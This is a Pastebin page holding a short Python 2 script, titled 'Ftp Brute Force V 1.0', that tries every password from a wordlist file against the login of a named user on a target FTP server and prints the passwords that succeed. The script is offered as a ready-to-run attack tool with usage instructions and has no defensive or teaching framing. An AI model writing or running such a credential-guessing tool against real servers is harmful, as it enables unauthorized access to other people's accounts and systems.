Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import sys
- from ftplib import FTP
- from string import *
- print "[*] Ftp Brute Force V 1.0 By naryto_pr0"
- targetNum = len(sys.argv)
- if targetNum <= 3 :
- print "\tUsage:",sys.argv[0], " [target] [username] [passwords file]"
- print "\tExample: ",sys.argv[0], "127.0.0.1 naruto password.txt\n"
- exit(-1)
- def CoNet(debugg):
- try:
- global site
- site = FTP(sys.argv[1])
- if debugg: print "[*] Connected to ", sys.argv[1]
- except:
- print "[-] Host ", sys.argv[1], " seem down!\n"
- exit(-1)
- CoNet(1)
- DicFile = file(sys.argv[3])
- DicLines = DicFile.readlines()
- TotalPassword = []
- for DicLine in DicLines:
- Password = rstrip(DicLine)
- try:
- if site.login(sys.argv[2], Password):
- print "[+] Logged in with USER: [", sys.argv[2], "], PASSWORD: [", Password, "]"
- TotalPassword[0:0] = [Password]
- #print "[*] Disconnecting..."
- site.quit()
- #print "[*] Reconnecting..."
- CoNet(0)
- except:
- #print "[-] Worrong Password: ", Password
- site.quit()
- CoNet(0)
- print "[*] Done.\n"
- if(len(TotalPassword) > 0):
- CurrentPwd = 1
- print "[+] Founded passwords: ", len(TotalPassword), "From: ", len(DicLines)
- #print "[+] List of passwords: "
- #print "+-----------------------+"
- #for passwd in TotalPassword:
- #print "[", CurrentPwd, "] ", passwd
- #CurrentPwd += 1
- #print "+-----------------------+"
- else:
- print "[-] No password found!"
- print "[*] Close."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement